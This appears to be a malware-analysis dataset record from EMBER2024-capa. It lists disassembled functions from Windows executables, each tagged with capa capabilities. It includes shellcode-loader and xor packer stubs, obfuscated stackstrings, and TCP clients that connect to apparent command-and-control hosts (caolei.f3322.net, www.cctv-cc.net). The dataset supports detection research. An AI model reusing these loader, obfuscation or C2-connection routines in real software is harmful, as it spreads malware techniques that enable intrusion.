joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x412d00
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x412eaa
push ebx
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
sub byte [esi + ebx], 0xf
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xcc
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0xb0
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xab
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x4a
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
add esp, 0x44
push eax
call fcn.004013a7
add byte [esi + ebx], 0x2f
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x21
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xf5
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x7f
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xdc
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xc1
add esp, 0x40
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x45
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0x40
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x64
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x71
add esp, 0x30
inc esi
cmp esi, edi
jb 0x412d20
pop ebx
pop edi
pop esi
ret

Function at 0x4035da
Capabilities:
Terminate process

Disassembly:
jmp 0x451ba9
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x451bba
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405907
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40370b
Capabilities:
Query environment variable

Disassembly:
jmp 0x49b052
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49b063
pop esi
ret
push ebx
push edi
push esi
call fcn.0049af39
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fda
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49b08b
push ebx
push esi
push edi
call fcn.004056fa
add esp, 0xc
push 0
call fcn.00406244
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0xfe61b8
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00fe6308
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xfe61de
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xfe61ca
add dl, dl
jne 0xfe61e9
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xfe623c
xor eax, eax
add dl, dl
jne 0xfe61f6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xfe62dd
add dl, dl
jne 0xfe6205
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfe6210
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfe621b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfe6226
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xfe6232
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xfe61d5
mov eax, 1
add dl, dl
jne 0xfe624a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfe6255
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xfe6241
sub eax, ebx
mov ebx, 1
jne 0xfe6288
mov ecx, 1
add dl, dl
jne 0xfe626e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xfe6279
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xfe6265
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xfe61d5
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xfe629f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xfe62aa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xfe6296
cmp eax, 0x7d00
jae 0xfe62cd
cmp eax, 0x500
jb 0xfe62c8
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xfe61d5
cmp eax, 0x7f
ja 0xfe62d0
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xfe61d5
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xfe62fe
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xfe61d5
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x402c00
pop dword [ebp - 0x50]
mov eax, 0x402c00
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xdfa12f69
sub dword [ebp - 0x60], 0x914eea1e
mov dword [ebp - 0x5c], 0xdaf66bb5
sub dword [ebp - 0x5c], 0xa8c31f70
mov dword [ebp - 0x58], 0xc99098d6
add dword [ebp - 0x58], 0x82bbab58
mov dword [ebp - 0x54], 0xab773619
sub dword [ebp - 0x54], 0xab773619
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x9e0244d
sub dword [ebp - 0x60], 0x956dbaf7
mov dword [ebp - 0x5c], 0x7341ed89
add dword [ebp - 0x5c], 0xce2a73ec
mov dword [ebp - 0x58], 0xd0bbce33
sub dword [ebp - 0x58], 0x6d4c61c7
mov dword [ebp - 0x54], 0x2ad6162f
add dword [ebp - 0x54], 0xd529e9d1
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x8c79c697
add eax, 0x73c6aa11
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x34416
push 0
call eax
mov ecx, 0xdfb4b962
add ecx, 0x204b84e2
xor ebx, ebx
add ebx, eax
mov edx, 0x410000
add edx, dword [ebp - 0x50]
mov edi, 0x1098d5d1
sub edi, 0x2ecc8b3e
add dword [ebp - 4], ebx
mov esi, dword [edx]
add dword [ebp - 0xc], 0xf7dc70d0
xor esi, edi
mov dword [ebp - 0xc], 0x46b09cc5
mov dword [ebx], esi
add ebx, 0xc7dea721
add ebx, 0x382158e3
add edx, 4
loop 0x402d14
add eax, 0xebe3
xor ebx, ebx
add ebx, eax
add eax, 0x2cbaa424
add eax, 0xd3455be1
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x40103c
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401030
xor eax, eax
jmp 0x40103f
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
jmp 0x40103f
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x4030ff
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Contain obfuscated stackstrings
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push edi
mov byte [ebp - 0xa0], 0
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x9f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x134], 0
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb4], str.caolei.f3322.net
mov word [ebp - 0x1c], 2
push 0x1f9b
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1a], ax
mov eax, dword [ebp - 0xb4]
push eax
call section..text
add esp, 4
mov dword [ebp - 0x18], eax
mov byte [ebp - 8], 0x53
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x70
mov byte [ebp - 3], 0
mov byte [ebp - 0xb0], 0x4b
mov byte [ebp - 0xaf], 0x45
mov byte [ebp - 0xae], 0x52
mov byte [ebp - 0xad], 0x4e
mov byte [ebp - 0xac], 0x45
mov byte [ebp - 0xab], 0x4c
mov byte [ebp - 0xaa], 0x33
mov byte [ebp - 0xa9], 0x32
mov byte [ebp - 0xa8], 0x2e
mov byte [ebp - 0xa7], 0x64
mov byte [ebp - 0xa6], 0x6c
mov byte [ebp - 0xa5], 0x6c
mov byte [ebp - 0xa4], 0
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0xb0]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
push 0
call dword [ebp - 0x20]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x403241
push 0
call dword [ebp - 0x20]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x403249
push 0
call dword [ebp - 0x20]
mov eax, dword [ebp - 0xc]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40358a
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 4
mov dword [ebp - 4], 4
lea eax, [ebp - 0x10]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 4]
push eax
push 0
push str.MHz
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x4035e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea eax, [ebp - 0x104]
push eax
call fcn.00404920
add esp, 8
lea ecx, [ebp - 0x188]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x104]
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403661
mov dword [ebp - 0x190], 0xc8
lea eax, [ebp - 0x190]
push eax
lea ecx, [ebp - 0x184]
push ecx
lea edx, [ebp - 0x18c]
push edx
push 0
push str.ProductName
mov eax, dword [ebp - 0x188]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x188]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.2000
lea edx, [ebp - 0x184]
push edx
call fcn.00404a20
add esp, 8
test eax, eax
je 0x40368f
push str.Windows_Server_2000
mov eax, dword [ebp + 8]
push eax
call fcn.00404920
add esp, 8
jmp 0x40377d
push 0x40c560
lea ecx, [ebp - 0x184]
push ecx
call fcn.00404a20
add esp, 8
test eax, eax
je 0x4036bd
push str.Windows_XP
mov edx, dword [ebp + 8]
push edx
call fcn.00404920
add esp, 8
jmp 0x40377d
push str.2003
lea eax, [ebp - 0x184]
push eax
call fcn.00404a20
add esp, 8
test eax, eax
je 0x4036eb
push str.Windows_Server_2003
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404920
add esp, 8
jmp 0x40377d
push str.Vista
lea edx, [ebp - 0x184]
push edx
call fcn.00404a20
add esp, 8
test eax, eax
je 0x403716
push str.Windows_Vista
mov eax, dword [ebp + 8]
push eax
call fcn.00404920
add esp, 8
jmp 0x40377d
push str.2008
lea ecx, [ebp - 0x184]
push ecx
call fcn.00404a20
add esp, 8
test eax, eax
je 0x403741
push str.Windows_Server_2008
mov edx, dword [ebp + 8]
push edx
call fcn.00404920
add esp, 8
jmp 0x40377d
push 0x40c5c0
lea eax, [ebp - 0x184]
push eax
call fcn.00404a20
add esp, 8
test eax, eax
je 0x40376c
push str.Windows_7
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404920
add esp, 8
jmp 0x40377d
push str.Windows_NT
mov edx, dword [ebp + 8]
push edx
call fcn.00404920
add esp, 8
call fcn.0040358a
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x40], eax
mov esp, ebp
pop ebp
ret
Function at 0x403a06
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Contain obfuscated stackstrings
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push edi
mov byte [ebp - 0x94], 0
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x93]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x128], 0
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x127]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0xa8], 0
mov byte [ebp - 0xa4], 0x77
mov byte [ebp - 0xa3], 0x77
mov byte [ebp - 0xa2], 0x77
mov byte [ebp - 0xa1], 0x2e
mov byte [ebp - 0xa0], 0x63
mov byte [ebp - 0x9f], 0x63
mov byte [ebp - 0x9e], 0x74
mov byte [ebp - 0x9d], 0x76
mov byte [ebp - 0x9c], 0x2d
mov byte [ebp - 0x9b], 0x63
mov byte [ebp - 0x9a], 0x63
mov byte [ebp - 0x99], 0x2e
mov byte [ebp - 0x98], 0x6e
mov byte [ebp - 0x97], 0x65
mov byte [ebp - 0x96], 0x74
mov byte [ebp - 0x95], 0
mov word [ebp - 0x14], 2
push 0x1f9b
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0xa4]
push eax
call section..text
add esp, 4
mov dword [ebp - 0x10], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x403b16
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x403b19
mov eax, dword [ebp - 4]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x402634
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
push dword [ebp + 8]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
call esi
cmp eax, 0xffffffff
je 0x402655
push dword [ebp + 8]
call esi
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
pop esi
jne 0x402682
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x402682
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
cmp dword [eax], 0
je 0x402682
push 4
push eax
lea eax, [ebp - 4]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 4]
leave
ret 8

Function at 0x402689
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 0x10]
and dword [ebp - 4], 0
imul edx, edx, 0x9e3779b9
push esi
mov esi, dword [ebp + 0xc]
test edx, edx
mov eax, dword [esi]
mov ecx, dword [esi + 4]
je 0x4026fe
mov esi, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
mov ebx, ecx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, dword [ebp - 4]
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, dword [ebp - 4]
xor ebx, ecx
sub dword [ebp - 4], 0x61c88647
add ebx, eax
lea eax, [ebx + edi]
mov edi, eax
mov ebx, eax
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, dword [ebp - 4]
sar ebx, 0xb
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, dword [ebp - 4]
xor ebx, eax
add ebx, ecx
cmp dword [ebp - 4], edx
lea ecx, [ebx + edi]
jne 0x4026ac
mov esi, dword [ebp + 0xc]
pop edi
pop ebx
mov dword [esi], eax
mov dword [esi + 4], ecx
pop esi
leave
ret

Function at 0x402706
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
push esi
imul eax, eax, 0x61c88647
mov esi, dword [esp + 0xc]
test eax, eax
mov edx, dword [esi]
mov ecx, dword [esi + 4]
je 0x40276e
mov esi, dword [esp + 8]
push ebx
push edi
mov edi, edx
mov ebx, edx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, eax
sar ebx, 0xb
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, eax
xor ebx, edx
add eax, 0x61c88647
add edi, ebx
sub ecx, edi
mov edi, ecx
mov ebx, ecx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, eax
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, eax
xor ebx, ecx
add edi, ebx
sub edx, edi
test eax, eax
jne 0x402724
mov esi, dword [esp + 0x14]
pop edi
pop ebx
mov dword [esi], edx
mov dword [esi + 4], ecx
pop esi
ret
Function at 0x420b5b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x420b9a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420b9a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420b9a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x420b9a
cmp dword [ecx + 0x74], 0xe
jbe 0x420b9a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433310
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43333d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43333d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40301c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x403028
push 0x403024
push 0x403020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x403028]
push dword [0x403024]
push dword [0x403020]
mov dword [0x403014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x401930
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
push ebx
mov edx, dword [0x4030e0]
mov dword [ebp - 4], edx
mov ecx, edx
mov edx, ebx
sar edx, cl
mov ecx, dword [ebp - 4]
sub ecx, edx
push ecx
push 0x4030e4
call fcn.00401750
add esp, 0xc
push 0x40
push 0x1000
mov eax, dword [0x4030dc]
sub eax, dword [0x4030d8]
push eax
push 0
call sub.KERNEL32.dll_VirtualAlloc
mov esi, eax
xor edi, edi
jmp 0x401989
mov eax, dword [0x4030d8]
mov al, byte [eax + edi]
mov byte [esi + edi], al
inc edi
mov eax, dword [0x4030dc]
sub eax, dword [0x4030d8]
cmp edi, eax
jl 0x40197d
push ebx
mov eax, dword [0x4030dc]
sub eax, dword [0x4030d8]
push eax
push esi
call fcn.00401750
push ebx
push 0x1ce00
push 0x4030e4
call fcn.00401811
add esp, 0x18
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401b7e
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
push edi
xor esi, esi
mov edi, esi
xor edi, edi
inc edi
lea eax, [ebp - 0x104]
push eax
push 0x401b64
call sub.USER32.DLL_EnumWindows
push 0
push 0
push 3
push 0
push 0
push 0x80000000
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_CreateFileA
mov dword [ebp - 0x108], eax
call sub.KERNEL32.dll_GetLastError
mov esi, eax
mov edi, esi
sub edi, 3
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x24a16493
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0xab6605a
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..00cfg
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1aaf247f
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x2eb94187
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219